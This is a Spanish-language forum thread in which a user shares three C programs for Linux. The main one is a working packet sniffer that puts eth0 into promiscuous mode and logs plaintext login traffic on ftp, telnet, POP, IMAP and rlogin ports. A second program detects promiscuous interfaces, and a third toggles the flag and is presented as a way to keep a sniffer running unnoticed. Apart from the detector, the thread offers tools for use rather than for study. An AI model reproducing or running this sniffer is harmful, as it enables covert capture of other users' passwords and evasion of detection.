MULTIMEDIA, Video digital, Grabación, Diseño gráfico, Diseño web, Programación > Webmasters - Diseño Web - Programación - Diseño gráfico
Sniffer para linux
Leandros:
bueno coleguillas aqui os dejo un sniffer para linux que me he encontrado por la red:
--- Código: ---
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
--- Fin del código ---
Leandros:
Este es un programa que detecta en una maquina si su targeta de red está en modo promiscuo. Hay trojanos que ocultan los sniffer pero con este programa los detectamos igual ya que accedemos directamente a la targeta.
--- Código: ---#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#if defined (__linux__)
#include <linux/if.h>
#else
#include <net/if.h>
#endif
#define size(p) (sizeof(p))
int dev_flags=0,
device_flags=0,
set_look_all=0;
int
main(int argc, char **argv) {
struct ifreq ifreq, *ifr;
struct ifconf ifc;
char buf[BUFSIZ], *cp, *cplim;
if(argc <= 1)
set_look_all++;
if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "An error occured establiashing while establishing a socket\n");
perror("socket");
exit(1);
}
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) {
perror("SIOCGIFCONF");
exit(1);
}
ifr = ifc.ifc_req;
cplim=buf+ifc.ifc_len;
for(cp = buf; cp < cplim;
cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr))
{
ifr = (struct ifreq *)cp;
if(argv[1])
if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all)
continue;
ifreq = *ifr;
if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0)
{
fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags): %s\n", ifr->ifr_name,strerror(errno));
continue;
}
device_flags=0; device_flags = ifreq.ifr_flags;
fprintf(stdout, "%s: ", ifreq.ifr_name);
if((device_flags & IFF_PROMISC) != 0)
fprintf(stdout, "Promiscuous: Sniffer detected.\n");
else
fprintf(stdout, "Not-Promiscous: No Sniffers detected.\n");
if(!set_look_all)
exit(0);
else
continue;
}
if(!set_look_all)
fprintf(stdout, "%s: Unknown device.\n", argv[1]);
}
--- Fin del código ---
Leandros:
Y con este programa el Sniffer queda corriendo normalmente pero en modo no promiscuo.
--- Código: ---/*
* This is really dumb program.
* Works on Linux, FreeBSD and Irix.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
int sd;
struct ifreq ifr;
char *interface;
int promisc;
if (argc != 3) {
printf("usage: %s interface 0|1\n", argv[0]);
exit(1);
}
interface = argv[1];
promisc = atoi(argv[2]);
if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
strncpy(ifr.ifr_name, interface, IFNAMSIZ);
if (ioctl(sd, SIOCGIFFLAGS, &ifr) == -1) {
perror("SIOCGIFFLAGS");
exit(1);
}
printf("flags = 0x%x\n", (u_short)ifr.ifr_flags);
if (promisc)
ifr.ifr_flags |= IFF_PROMISC;
else
ifr.ifr_flags &= ~IFF_PROMISC;
if (ioctl(sd, SIOCSIFFLAGS, &ifr) == -1) {
perror("SIOCSIFFLAGS");
exit(1);
}
close(sd);
}
--- Fin del código ---
Bueno aqui os dejo un poco de C...ya os digo, estos tres programas los encontré en internet ;)
jirho:
...si muy bueno amigo...pero creo que deberiamos estudiarlo aparte para poder explicarlos mas tarde...por que ya sabe van en el hola mundo... :wink: ...aunque la verdad...esta raro... :cry: ...
Dabo:
Leandros, con tu permiso los he editado y he usado la etiqueta "code" asi, no salen los emoticonos al poner ciertos signos y se copia y pega son problemas
saludos :!:
Navegación
[#] Página Siguiente
Ir a la versión completa